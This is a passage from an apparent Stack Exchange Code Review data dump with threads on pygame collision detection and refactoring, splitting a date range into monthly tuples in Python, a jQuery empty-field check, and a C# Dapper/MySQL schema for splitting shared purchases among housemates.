"CreationDate": "2021-04-27T14:55:07.867",
"Id": "513255",
"Score": "0",
"body": "I didn't figure out how to incorporate the Player class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T14:58:01.230",
"Id": "513256",
"Score": "2",
"body": "Do you have a GitHub repository to link your whole project including graphic resources?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T15:52:47.203",
"Id": "513372",
"Score": "0",
"body": "I will probably start a bounty soon"
}
] |
[
{
"body": "<h1>Colliding</h1>\n<p>For now, let's assume that your bullets travel in a straight line from left to right, or from right to left.</p>\n<p>Your zombies have a position, <code>self.x</code> and <code>self.y</code>. In addition, they also have an image that you draw on the screen (<code>images['l_zombie']</code> in the <code>Enemy.draw()</code> method).</p>\n<p>What I don't see is any mention of left-over pixels in the image. It could be that your zombie images are all the same size, but that there is a border of 1, or 2, or 50 pixels of "dead space" around the outside of the image.</p>\n<p>For now, let's assume that there is no dead space. If dead space exists, you'll just have to do some subtraction.</p>\n<p>You draw your zombies with the <code>Enemy.draw()</code> method, which uses <code>(self.x, self.y)</code> to set the position of the image.</p>\n<p>You need to detect a collision. Since the bullets are (we assume) traveling horizontally, we can make some radically simplifying assumptions.</p>\n<ul>\n<li>We assume that there is some "bullet position".</li>\n<li>We assume that you can compute the "bullet front position" based on the bullet position. (Note: this may vary a bit, since the bullet position might be on one side of the bullet always, but the front will change depending on the direction of fire.)</li>\n<li>We assume that there is some "zombie position" (<code>self.x, self.y</code>)</li>\n<li>We assume that you can compute the "zombie front position" based on the zombie position (Note: same issues as above).</li>\n</ul>\n<p>Since you are traveling horizontally, you can compute the bullet's <code>dx</code> on a given update.</p>\n<p>Compare the "zombie front position" for each zombie, with the old/new "bullet front position" for each bullet. If a bullet moves from one side of the zombie front to the other (or in contact), then there's a hit.</p>\n<h2>Example</h2>\n<p>Let <code>zed</code> be a zombie.</p>\n<pre><code>zed = Enemy()\n</code></pre>\n<p>Assume your zombie image has 5 pixels of dead space above, and 13 pixels below.</p>\n<pre><code>ABOVE = 0\nBELOW = 1\n\nEnemy.dead_space = (5, 13)\n</code></pre>\n<p>Now assume that zed is at position 200, 350</p>\n<pre><code>zed.x, zed.y = 200, 350\n</code></pre>\n<p>We can compute the hit zone from this information:</p>\n<pre><code>zed.image = images['l_zombie']\nhit_zone = (zed.y + zed.dead_space[ABOVE],\n zed.y + zed.image.get_height() - zed.dead_space[BELOW])\n</code></pre>\n<p>The hit zone is the Y-axis band where a horizontal bullet can impact the zombie. If the bullet is above or below this band, it will miss.</p>\n<p>Of course, your bullets can be more than one pixel high. In which case, we need to check for overlap.</p>\n<p>Like zombies, bullets can have dead space in their image. So be sure and check for that:</p>\n<pre><code>Bullet.dead_space = (10, 12)\nbullet = Bullet()\n\nbullet.image = images['r_bullet'] # left-facing zed gets shot at with right-facing bullets\n\nbullet_zone = (bullet.y + bullet.dead_space[ABOVE], \n bullet.y + bullet.image.get_height() - bullet.dead_space[BELOW])\n</code></pre>\n<p>So we have a bullet_zone and an impact_zone, and we want to check if they overlap:</p>\n<pre><code>if bullet_zone[BELOW] > impact_zone[ABOVE] or bullet_zone[ABOVE] > impact_zone[BELOW]:\n return False # no impact\n</code></pre>\n<p>If the bullet and zed are in the right range to impact, we now have to ask if an impact occurs right in this moment. Assume that we are doing this check <em>after</em> all the zombies and bullets have moved:</p>\n<pre><code>bullet_oldpos_x = bullet.x - bullet.speed_x\nbullet_newpos_x = bullet.x\n\nzed_oldpos_x = zed.x - zed.speed_x\nzed_newpos_x = zed.x\n</code></pre>\n<p>Now ask which side of the bullet we are on. The images are positioned based on their top, left corner. But we may want to worry about the right edge, instead of the left. Figure it out:</p>\n<pre><code>if bullet.speed > 0: # shooting left->right\n img_width = bullet.image.get_width()\n bullet_oldpos_x += img_width\n bullet_newpos_x += img_width\n \nif zed.speed > 0: # walking left->right\n img_width = zed.image.get_width()\n zed_oldpos_x += img_width\n zed_newpos_x += img_width\n</code></pre>\n<p>Now check if the bullet passed through the edge of zed:</p>\n<pre><code>if bullet_oldpos_x < zed_oldpos_x and bullet_newpos_x >= zed_newpos_x:\n return True\n</code></pre>\n<p>For collisions, there are three cases:</p>\n<ul>\n<li>The bullet crossed the line of newpos.</li>\n<li>The bullet existed within the step of zed.</li>\n<li>The bullet crossed the line of oldpos.</li>\n</ul>\n<p>In the first two cases, the bullet's oldpos was "before" zed, but the bullet's newpos is "inside or beyond" zed.</p>\n<p>In the second two cases, the bullet's newpos is "beyond" zed's oldpos.</p>\n<p>You'll have to make some similar-but-backwards checks for the right-to-left direction.</p>\n<p>When you start moving in 2 dimensions, you'll have a rectangle to worry about. At that point the "right" thing is to compute the intersection of the line of the bullet with the rectangle or some other shape of zed. But if you can simplify the "edge" of zed to a line segment, it's easier.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T01:30:51.163",
"Id": "260095",
"ParentId": "260069",
"Score": "2"
}
},
{
"body": "<ul>\n<li>Your constants (screen width, etc.) are fine as they are, but e.g. <code>lives</code> is not a constant - it should not live in the global namespace</li>\n<li>Avoid calling pygame initialization methods in the global namespace</li>\n<li><code>moveX</code> and <code>moveY</code> are unused, so delete them</li>\n<li>You need to pry apart your logic from your presentation; they're mixed up right now</li>\n<li>Consider modularizing your project, which will make for a nicer testing and packaging experience</li>\n<li>Do <em>not</em> assume that there's a <code>Desktop</code> directory relative to the current one that contains your images; instead look up the image paths via <code>pathlib</code> and <code>glob</code></li>\n<li>Your <code>main_menu</code> is deeply troubled. It's currently running a frame loop even though none is needed since there are no UI updates; so instead you want a blocking event loop. Also, your <code>onclick</code> and <code>get_pos</code> misrepresent how proper event handling should be done with pygame - do not call <code>get_pos</code> at all; and instead rely on the positional information from the event itself.</li>\n<li>I don't think <code>pygame.quit</code> does what you think it does. To be fair, they haven't named it very well. It does not quit. It deallocates all of the pygame resources. You should be doing this as a part of game cleanup, not to trigger an exit.</li>\n<li>Consider using an f-string for <code>'Score: ' + str(score)</code></li>\n<li><code>heart_images</code> should be a global constant</li>\n<li>You currently have a stack explosion loop - <code>main_menu</code> calls <code>game</code>, but <code>game</code> calls <code>main_menu</code>. Do not do this.</li>\n</ul>\n<p>The following example code does not attempt to implement your bullet feature, but does preserve your existing functionality, and fixes the up-to-now broken feature that had attempted to loop between the game and the main menu.</p>\n<h2>Directory structure</h2>\n<p><a href=\"https://i.stack.imgur.com/ep25m.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ep25m.png\" alt=\"directory structure\" /></a></p>\n<h2><code>game/resources/__init__.py</code></h2>\n<pre><code>from pathlib import Path\nfrom typing import Iterable, Tuple\nfrom pygame import image, Surface\n\n\ndef load_images() -> Iterable[Tuple[str, Surface]]:\n root = Path(__file__).parent\n for path in root.glob('*.png'):\n yield path.stem, image.load(path)\n</code></pre>\n<h2><code>game/__main__.py</code></h2>\n<p>This supports the invocation</p>\n<pre><code>python -m game\n</code></pre>\n<pre><code>from .ui import main\nmain()\n</code></pre>\n<h2>game/logic.py</h2>\n<pre><code>from numbers import Number\nfrom random import randint\nfrom typing import TypeVar, Tuple\n\nN_ENEMIES = 8\n\nClipT = TypeVar('ClipT', bound=Number)\n\n\ndef clip(value: ClipT, lower: ClipT, upper: ClipT) -> ClipT:\n return min(upper, max(value, lower))\n\n\nclass HasPosition:\n def __init__(self, x: float, y: float):\n self.x, self.y = x, y\n\n @property\n def pos(self) -> Tuple[float, float]:\n return self.x, self.y\n\n\nclass Player(HasPosition):\n def __init__(self):\n super().__init__(120, 100)\n\n def up(self):\n self.y -= 5\n\n def down(self):\n self.y += 5\n\n def left(self):\n self.x -= 5\n\n def right(self):\n self.x += 5\n\n def clip(self):\n self.x = clip(self.x, -12, 100)\n self.y = clip(self.y, -15, 405)\n\n\nclass Enemy(HasPosition):\n def __init__(self):\n super().__init__(randint(600, 1000), randint(8, 440))\n\n def collide(\n self, left_limit: float,\n ) -> bool: # Whether the enemy collided\n if self.x > left_limit:\n self.x -= 0.7\n\n if self.x <= 215:\n self.x = 215\n return True\n return False\n\n\nclass Game:\n def __init__(self):\n self.score = 0\n self.lives = 3\n self.player = Player()\n self.enemies = [Enemy() for _ in range(N_ENEMIES)]\n self.bullets = []\n\n @property\n def alive(self) -> bool:\n return self.lives > 0\n\n def update(self) -> None:\n self.player.clip()\n\n to_remove, to_add = [], []\n for enemy in self.enemies:\n if enemy.collide(left_limit=self.player.x):\n self.lives -= 1\n to_remove.append(enemy)\n enemy = Enemy()\n to_add.append(enemy)\n\n for enemy in to_remove:\n self.enemies.remove(enemy)\n self.enemies.extend(to_add)\n</code></pre>\n<h2>game/ui.py</h2>\n<pre><code>import pygame\nfrom pygame import display, font, key\n\nfrom .logic import Game\nfrom .resources import load_images\n\n\nSCR_WIDTH = 1020\nSCR_HEIGHT = 510\nWHITE = [240, 240, 240]\nFPS = 60\n\nHEART_IMAGES = ["triple_empty_heart", "single_heart", "double_heart",\n "triple_heart"]\n\n\nclass Window:\n def __init__(self):\n self.tnr_font = font.SysFont('Times_New_Roman', 27)\n self.clock = pygame.time.Clock()\n self.screen = display.set_mode((SCR_WIDTH, SCR_HEIGHT))\n display.set_caption('Dungeon Minigame')\n self.images = dict(load_images())\n\n def main_menu(self) -> None:\n self.screen.blit(self.images['background'], (0, 0))\n start_button = self.screen.blit(self.images['button'], (420, 320))\n display.update()\n\n while True:\n event = pygame.event.wait()\n if event.type == pygame.QUIT:\n exit()\n if event.type == pygame.MOUSEBUTTONDOWN and start_button.collidepoint(event.pos):\n break\n\n def draw(self, game: Game) -> None:\n self.screen.blit(self.images['background2'], (0, 0))\n\n antialias = True\n score_text = self.tnr_font.render(f'Score: {game.score}', antialias, WHITE)\n lives_text = self.tnr_font.render('Lives: ', antialias, WHITE)\n self.screen.blit(score_text, (20, 20))\n self.screen.blit(lives_text, (840, 20))\n\n self.screen.blit(self.images[HEART_IMAGES[game.lives]], (920, 0))\n self.screen.blit(self.images['r_knight'], game.player.pos)\n\n for enemy in game.enemies:\n self.screen.blit(self.images['l_zombie'], enemy.pos)\n\n display.update()\n\n @staticmethod\n def handle_keys(game: Game) -> None:\n onpress = key.get_pressed()\n if onpress[pygame.K_w]:\n game.player.up()\n if onpress[pygame.K_s]:\n game.player.down()\n if onpress[pygame.K_a]:\n game.player.left()\n if onpress[pygame.K_d]:\n game.player.right()\n\n @staticmethod\n def maybe_exit() -> None:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit()\n\n def game(self) -> None:\n game = Game()\n\n while True:\n self.handle_keys(game)\n game.update()\n if not game.alive:\n break\n\n self.maybe_exit()\n self.draw(game)\n self.clock.tick(FPS)\n\n\ndef main():\n pygame.init()\n font.init()\n\n window = Window()\n try:\n while True:\n window.main_menu()\n window.game()\n finally:\n pygame.quit()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T01:24:01.183",
"Id": "513400",
"Score": "0",
"body": "Why is __init__.py used twice?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T01:27:00.297",
"Id": "513401",
"Score": "0",
"body": "Because there are two different modules."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T12:32:39.777",
"Id": "513465",
"Score": "0",
"body": "I get this error: `ImportError: attempted relative import with no known parent package`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T12:36:57.040",
"Id": "513466",
"Score": "0",
"body": "I'm also working in Visual Studio Code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T13:05:34.660",
"Id": "513470",
"Score": "0",
"body": "You need to execute from above the root directory shown. You can't just execute one of these files directly"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T13:26:49.767",
"Id": "513473",
"Score": "0",
"body": "How would you execute a root directory?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T13:28:58.493",
"Id": "513474",
"Score": "0",
"body": "https://stackoverflow.com/questions/48164843/how-to-run-python-in-visual-studio-code-as-a-main-module"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T13:55:24.057",
"Id": "513478",
"Score": "0",
"body": "I appreciate all the effort you put into my game, but I cant get it to work."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T22:54:50.063",
"Id": "260139",
"ParentId": "260069",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T12:39:19.440",
"Id": "260069",
"Score": "4",
"Tags": [
"python",
"game",
"pygame",
"collision"
],
"Title": "Revised Top-Down Dungeon RPG"
}
|
260069
|
<p>I have a start and end date. I would like to return a list of tuples, which have the start and end dates of each month.</p>
<pre><code>Input
start_date = '2020-10-14'
end_date = '2021-03-26'
Output
[('2020-10-14', '2020-10-31'),
('2020-11-01', '2020-11-30'),
('2020-12-01', '2020-12-31'),
('2021-01-01', '2021-01-31'),
('2021-02-01', '2021-02-28'),
('2021-03-01', '2021-03-26')]
</code></pre>
<p>My code</p>
<pre><code>from datetime import datetime, timedelta, date
import calendar
def get_first_day(year, month):
return f'{year}-{str(month).zfill(2)}-01'
def get_last_day(year, month):
# https://stackoverflow.com/a/23447523/5675288
dt = datetime.strptime(f'{year}-{month}', '%Y-%m')
dt = (dt.replace(day=1) + timedelta(days=32)).replace(day=1) - timedelta(days=1)
return dt.strftime('%Y-%m-%d')
def diff_month(d1, d2):
# https://stackoverflow.com/a/4040338/5675288
return abs((d1.year - d2.year) * 12 + d1.month - d2.month)
def add_months(sourcedate, months):
# https://stackoverflow.com/a/4131114/5675288
month = sourcedate.month - 1 + months
year = sourcedate.year + month // 12
month = month % 12 + 1
day = min(sourcedate.day, calendar.monthrange(year,month)[1])
return date(year, month, day)
def get_dates(start_date, end_date):
"""get list of tuples of dates
[
(start_date, end-of-month),
(start-of-next-month, end-of-next-month),
(start-of-next-next-month, end-of-next-next-month),
...
(start-of-last-month, end_date)
]
"""
sd = datetime.strptime(f'{start_date}', '%Y-%m-%d')
ed = datetime.strptime(f'{end_date}', '%Y-%m-%d')
diff_months = diff_month(sd, ed)
first_days = []
last_days = []
for month in range(diff_months+1):
d = add_months(sd, month)
first_days.append(get_first_day(d.year, d.month))
last_days.append(get_last_day(d.year, d.month))
first_days = [start_date] + first_days[1:]
last_days = last_days[:-1] + [end_date]
return list(zip(first_days, last_days))
start_date = '2020-10-14'
end_date = '2021-03-26'
print(get_dates(start_date, end_date))
</code></pre>
<p>Is there a cleaner / better approach for this?</p>
|
[] |
[
{
"body": "<p>None of this code should deal in strings, except <em>maybe</em> the final output stage. It can all be thrown away in favour of a single generator function that uses the highly-useful <code>dateutil</code> library. Also type hints will help:</p>\n<pre><code>from datetime import date\nfrom typing import Iterable, Tuple\nfrom dateutil.relativedelta import relativedelta\n\n\ndef get_dates(start: date, end: date) -> Iterable[Tuple[date, date]]:\n\n while True:\n next_start = start + relativedelta(months=1, day=1)\n this_end = next_start - relativedelta(days=1)\n\n if end <= this_end:\n yield start, end\n break\n\n yield start, this_end\n start = next_start\n\n\ndef main() -> None:\n start = date.fromisoformat(input('Enter start date: '))\n end = date.fromisoformat(input('Enter end date: '))\n for range_start, range_end in get_dates(start, end):\n print(f'{range_start.isoformat()} - {range_end.isoformat()}')\n\nif __name__ == '__main__':\n main()\n</code></pre>\n<p>Output:</p>\n<pre><code>Enter start date: 2020-10-14\nEnter end date: 2021-03-26\n2020-10-14 - 2020-10-31\n2020-11-01 - 2020-11-30\n2020-12-01 - 2020-12-31\n2021-01-01 - 2021-01-31\n2021-02-01 - 2021-02-28\n2021-03-01 - 2021-03-26\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:38:07.967",
"Id": "513261",
"Score": "0",
"body": "Thank you for the answer. Although it makes sense that I should not be doing this with strings, my use case is that I will be getting the start and end dates as strings from the user, and the date tuples will be used as parameters to request from an API. That's why I was returning them as strings as well. I do like your solution though, maybe I can make slight modifications to get it as strings"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:38:48.417",
"Id": "513262",
"Score": "1",
"body": "Just wrap the solution with parse calls beforehand, and formatting calls after."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:28:56.730",
"Id": "260075",
"ParentId": "260070",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "260075",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T14:59:02.023",
"Id": "260070",
"Score": "2",
"Tags": [
"python"
],
"Title": "Return list of tuples of date ranges"
}
|
260070
|
<p>I am checking three elements on the DOM to see if they are empty or not so that I can run only the Ajax calls that I should run and save on overall bandwidth. The code works but it "smells bad". Here is my source.</p>
<pre class="lang-javascript prettyprint-override"><code>const processValues = (area, city, text) => {
if (area.val() && city.val() && text.val()) {
return 'all';
} else if (area.val() && city.val() && !text.val()) {
return 'areaCity';
} else if (area.val() && !city.val() && text.val()) {
return 'areaText';
} else if (area.val() && !city.val() && !text.val()) {
return 'city';
} else if (!area.val() && city.val() && text.val()) {
return 'cityText';
} else if (!area.val() && !city.val() && text.val()) {
return 'text';
} else if (!area.val() && city.val() && !text.val()) {
return 'city';
} else {
return 'none';
}
};
</code></pre>
<p>I will be repeating this check in a few methods and I will be using a switch statement in those methods with the returned string values. If there is a better way to do this, I would appreciate it.</p>
|
[] |
[
{
"body": "<p>After speaking with some friends, this is seen as the best solution. One adjustment to the return values was required however; change the casing from camel case to title case. I am also using constants to make sure that return values can be consistently used properly.</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>/**\n * Check the three dom elements to see if they are empty or not and return detailed result.\n * @param {jQuery|HTMLElement} area Area input field.\n * @param {jQuery|HTMLElement} city City input field.\n * @param {jQuery|HTMLElement} text Text input field.\n * @return {string} Detailed result of which input fields are empty.\n * If all are filled, returns "all".\n * If none are filled, returns empty string.\n */\nexport const processValues = (area, city, text) => {\n const a = (area.val()) ? 'Area' : '';\n const c = (city.val()) ? 'City' : '';\n const t = (text.val()) ? 'Text' : '';\n if (a !== "" && c !== "" && t !== "") {\n return "all";\n } else {\n return a + c + t;\n }\n};\n\nexport const ALL = "all";\nexport const AREA_CITY = "AreaCity";\nexport const AREA_TEXT = "AreaText";\nexport const AREA = "Area";\nexport const CITY_TEXT = "CityText";\nexport const CITY = "City";\nexport const TEXT = "Text";\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T06:27:42.083",
"Id": "513312",
"Score": "0",
"body": "Please try to use either `\"\"` or `''` at all occurrences. Please also try to use better naming than `a`, `c`, `t`. Why do you need to `export` these constants? Where is `none`?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:54:23.337",
"Id": "260078",
"ParentId": "260071",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "260078",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:06:13.933",
"Id": "260071",
"Score": "0",
"Tags": [
"javascript",
"jquery"
],
"Title": "Check Three Dom Elements to See if they are empty or not and return detailed result"
}
|
260071
|
<p>I live in the buildings that have 50 people in it and for each floor splits into 2 groups each group is from ~9 people. I'm trying to build an Xamarin app (IOS, ANDROID ,Win10,maybe web app) to make it easier to us to communicate.</p>
<p><strong>Explaining the way i did my DB as it is:</strong></p>
<p>The shopping table{ if someone by something the he can post it and keep track over how pay hem "payers"} i was planning to make a DB foreach group, i know that is bad data handling, so i made a collection ID for every group.i made 2 user variables so i can get the name of how did by and how need to pay (otherwise I end up only with one name)</p>
<p>I'm using Dapper with 2 list's: shopping and payers</p>
<p><strong>Data Model</strong></p>
<pre><code> public class Shoping
{
public int ID { get; set; }
public int UserID { get; set; }
public string UserName { get; set; }
public decimal Price { get; set; }
public string Discretion { get; set; }
public DateTime ProchDate { get; set; }
public string PayURL { get; set; }
public List<Payer> Payers { get; set; } = new();
}
public class Payer
{
public int ID { get; set; }
public int ShopID { get; set; }
public string UserName { get; set; }
public int UserID { get; set; }
public decimal Price { get; set; }
public decimal Payed { get; set; }
public decimal Topay { get; set; }
}
public class User_collection
{
public string ID { get; set; }
}
public class User
{
public int ID { get; set; }
public string CollectionID { get; set; }
public string UserName { get; set; }
public string Password { get; set; }
}
</code></pre>
<p><strong>MySQL Tables</strong></p>
<pre><code>`shop` (`ID`, `UserID`, `ProchDate`, `Price`, `PayURL`, `Discretion`)
`payer` (`ID`, `ShopID`, `UserID`, `Payed`)
`user` (`ID`, `UserName`, `pas`, `CollectionID`, `phonenumber`)
`user_collection`(`ID`)
</code></pre>
<p>Finally this is my sql query and the c# code :</p>
<pre><code> public Response<List<Shoping>> GetShop_GropID(string _CollectionID)
{
using (IDbConnection cnn = new MySqlConnection(c))
{
var p = new
{
CollectionID = _CollectionID
};
string sql = @"SELECT S.* , us.UserName, P.* , up.UserName , s.Price ,
(s.Price /( SELECT COUNT(DISTINCT payer.ID) FROM payer WHERE ShopID = s.ID ) - p.Payed ) AS Topay
FROM
shop S
JOIN payer P ON S.ID = p.ShopID
JOIN USER up ON p.UserID = up.ID
JOIN USER us ON s.UserID = us.ID
where
us.CollectionID = @CollectionID ;";
var lookup = new Dictionary<int, Shoping>();
_ = cnn.Query<Shoping, Payer, Shoping>
(sql,
(s, a) => {
Shoping shop;
if (!lookup.TryGetValue(s.ID, out shop))
{
lookup.Add(s.ID, shop = s);
}
if (shop.Payers == null)
shop.Payers = new List<Payer>();
shop.Payers.Add(a);
return shop;
} ,p).AsQueryable();
var l = new List<Shoping>();
l = (from s in lookup select s.Value).ToList();
return new Response<List<Shoping>>(ResponseResult.Success, l);
}
}
</code></pre>
<p><strong>Output Data</strong></p>
<pre><code>{
"timestamp": 132640059769755780,
"result": 1,
"message": "Success",
"content": [
{
"id": 1,
"userID": 1,
"userName": "Ror",
"price": 100,
"discretion": "ssss",
"prochDate": "2021-04-13T00:00:00",
"payURL": null,
"payers": [
{
"id": 1,
"shopID": 1,
"userName": "Ror",
"userID": 1,
"price": 100,
"payed": 0,
"topay": 25
},
{
"id": 2,
"shopID": 1,
"userName": "ror1",
"userID": 2,
"price": 100,
"payed": 0,
"topay": 25
},
{
"id": 3,
"shopID": 1,
"userName": "ror1",
"userID": 2,
"price": 100,
"payed": 10,
"topay": 15
},
{
"id": 4,
"shopID": 1,
"userName": "nan",
"userID": 3,
"price": 100,
"payed": 10,
"topay": 15
}
]
},
{
"id": 2,
"userID": 1,
"userName": "Ror",
"price": 30,
"discretion": "weq",
"prochDate": "2021-04-05T00:00:00",
"payURL": null,
"payers": [
{
"id": 5,
"shopID": 2,
"userName": "nan",
"userID": 3,
"price": 30,
"payed": 10,
"topay": 20
}
]
},
{
"id": 3,
"userID": 1,
"userName": "Ror",
"price": 30,
"discretion": "weq",
"prochDate": "2021-04-05T00:00:00",
"payURL": null,
"payers": [
{
"id": 6,
"shopID": 3,
"userName": "nan",
"userID": 3,
"price": 30,
"payed": 10,
"topay": 20
}
]
}
]
}
</code></pre>
<p>Is there a better way to structure the output data or the SQL query? Will I run into problems in the future?</p>
<p>When I use the query <code>SELECT S.* , P.* , us.UserName, up.UserName , s.Price ,</code> I only get the username of the payer, but not the shopper. So I'm using <code>SELECT S.* , us.UserName, P.* , up.UserName , s.Price </code>.</p>
<p>The app will be user with groups so every 9 users share an indexed Collection ID
I'm limiting the search with using 2 joins like so:</p>
<pre><code> Select * from shoping s
JOIN USER u ON s.UserID = u.ID
JOIN user_collectionus C ON u.CollectionID = c.ID
where C.ID = 'AAA';
</code></pre>
<p>How can I make this better or it's good as it is?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:27:39.883",
"Id": "513259",
"Score": "0",
"body": "Welcome to CodeReview. Just to make sure: does your code work as expected?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:32:59.097",
"Id": "513260",
"Score": "0",
"body": "Thanks. yes, but i have 2% experience with Data structure and when my DB get beger my code is super slow @PeterCsala"
}
] |
[
{
"body": "<p>There are quite a few naming issues in your code. You may want to think about installing a spell check extension in your IDE to help you catch these. I'm an appalling speller so I've got extra spell checks <em>everywhere</em> (IDE, browser etc.)</p>\n<p>Naming is <em>so</em> important and the thing that is most important of all is that your naming is consistently applied. In your db you have PascalCase (<code>UserName</code>) and then some all lower (<code>phonenumber</code>). Find one that you like and stick to it everywhere - it really does help when reading the code back later. I won't keep on about that but I think you should read all your names again and check they are the best choice.</p>\n<p>On to your SQL:</p>\n<pre><code> string sql = @"SELECT S.* , us.UserName, P.* , up.UserName , s.Price , \n (s.Price /( SELECT COUNT(DISTINCT payer.ID) FROM payer WHERE ShopID = s.ID ) - p.Payed ) AS Topay\n FROM\n shop S\n JOIN payer P ON S.ID = p.ShopID \n JOIN USER up ON p.UserID = up.ID\n JOIN USER us ON s.UserID = us.ID\n where \n us.CollectionID = @CollectionID ;";\n</code></pre>\n<p>That's unusual formatting of the query.</p>\n<ul>\n<li>Why is <code>USER</code> uppercase?</li>\n<li>Does the way it is written make it easy to scan/read?</li>\n<li>Why are most, but not all, keywords upper case?</li>\n<li>Great that you're using parameters!</li>\n</ul>\n<p>Don't be afraid of line breaks in SQL, they really help with readability:</p>\n<pre><code> string sql = @"\nSELECT \n S.*,\n us.UserName,\n P.*,\n up.UserName,\n s.Price, \n (s.Price / (SELECT COUNT(DISTINCT payer.ID)\n FROM payer \n WHERE ShopID = s.ID) - p.Payed) AS Topay\nFROM shop S\nJOIN payer P \n ON S.ID = p.ShopID \nJOIN user up\n ON p.UserID = up.ID\nJOIN user us \n ON s.UserID = us.ID\nWHERE us.CollectionID = @CollectionID;";\n</code></pre>\n<p>You could consider changing your aliases too. <code>up</code> could be <code>payer_user</code> and <code>us</code> could be <code>shopper_user</code> (just examples and evaluate whether you want/need to do this).</p>\n<p>I don't think this query will scale badly as long as you have appropriate indexes in place. It's impossible to say what those indexes should be without being able to run the query with <code>EXPLAIN</code>. I would guess that <code>Payer.ShopId</code> would be a great candidate as it is likely to be highly selective (as I would guess there are few "payers" per shop). As with anything performance-related, <strong>measure, measure, measure</strong>!</p>\n<hr />\n<p>Update:</p>\n<p>Having read your comment about what the application is for, I think you can make things slightly easier for yourself. High level suggestion:</p>\n<p><strong>Purchase</strong></p>\n<ul>\n<li>Id</li>\n<li>Purchaser (FK to user table)</li>\n<li>... interesting things about the purchase (e.g. payURL, date etc.)</li>\n</ul>\n<p><strong>PurchaseSplit</strong></p>\n<ul>\n<li>Debtor (FK to User table)</li>\n<li>Purchase (FK to Purchase table)</li>\n<li>Amount Owed</li>\n<li>Amount Paid</li>\n<li>Id can just be (PurchaseId, UserId) or add an Id column</li>\n</ul>\n<p><strong>User</strong></p>\n<ul>\n<li>Id</li>\n<li>Name</li>\n<li>etc.</li>\n</ul>\n<p>When someone makes a purchase, you insert a row into Purchase and one row per "payer" into PurchaseSplit. At the same time, you calculate what each "payer's" share of the cost is. Note that in your DB solution, rounding can lead to the wrong amount calculated for everyone.</p>\n<p>You can then update the PurchaseSplit when money is paid. This is a simple trade-off - you won't get history on payments but it's easy to implement and probably good enough for your case.</p>\n<p>If the number of people splitting the purchase changes, you can recalculate the amount owed for all "payers" at the same time.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:04:07.003",
"Id": "513355",
"Score": "0",
"body": "thanks!!, this is my second project if you sow my first one you will directly push Ctrl+Shift+del . That's true I get usually confused by my variables name. I will install spell check extension and update all of my variables name. for the upper/lower case it's just a bad habit when i'm in focus mode."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:05:02.203",
"Id": "513356",
"Score": "0",
"body": "as i said to @BCdotWEB, I live in the buildings that have 50 people in it and for each floor splits into 2 groups each group is from ~9 people. I'm trying to build an Xamarin app (IOS, ANDROID ,Win10,maybe web app) to make it easer to us to communicate. the shopping table{ if someone by something the he can post it and keep track over how pay hem \"payers\"} i was planning to make a DB foreach group, i know that is bad data handling, so i made a collection ID for every group.i made 2 user variables so i can get the name of how did by and how need to pay (otherwise I end up only with one name)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T19:03:50.583",
"Id": "513378",
"Score": "1",
"body": "@rynexakil - I've added some thoughts on your database design. Hopefully, they make sense."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T20:20:00.700",
"Id": "513380",
"Score": "0",
"body": "They totally make sense. it is a better DB design. just a big concern about Grouping people so as \" ConnectionID\", my app will have also other things like cleaning schedule and 6 different things. Do I have a better solution or I should keep joining the user table and limit my searching by the collection ID, if for ex( i need to select all the purchase of a specific group ID). something like indexing of partition the DB. just to avoid long search when the app grows. for now it's only 300 people (my bilding) if they like it then 7 buildings will use it so over 21000 people.thx for the help"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T06:15:18.617",
"Id": "513418",
"Score": "1",
"body": "@rynexakil - a problem with your connection id approach is that you will need to add a new group every time a person moves in or out. If you just update the group, the new person will be shown incorrectly against historical purchases. Write down some real world events and figure out if your data model supports them easily (or at all)."
}
],
"meta_data": {
"CommentCount": "5",
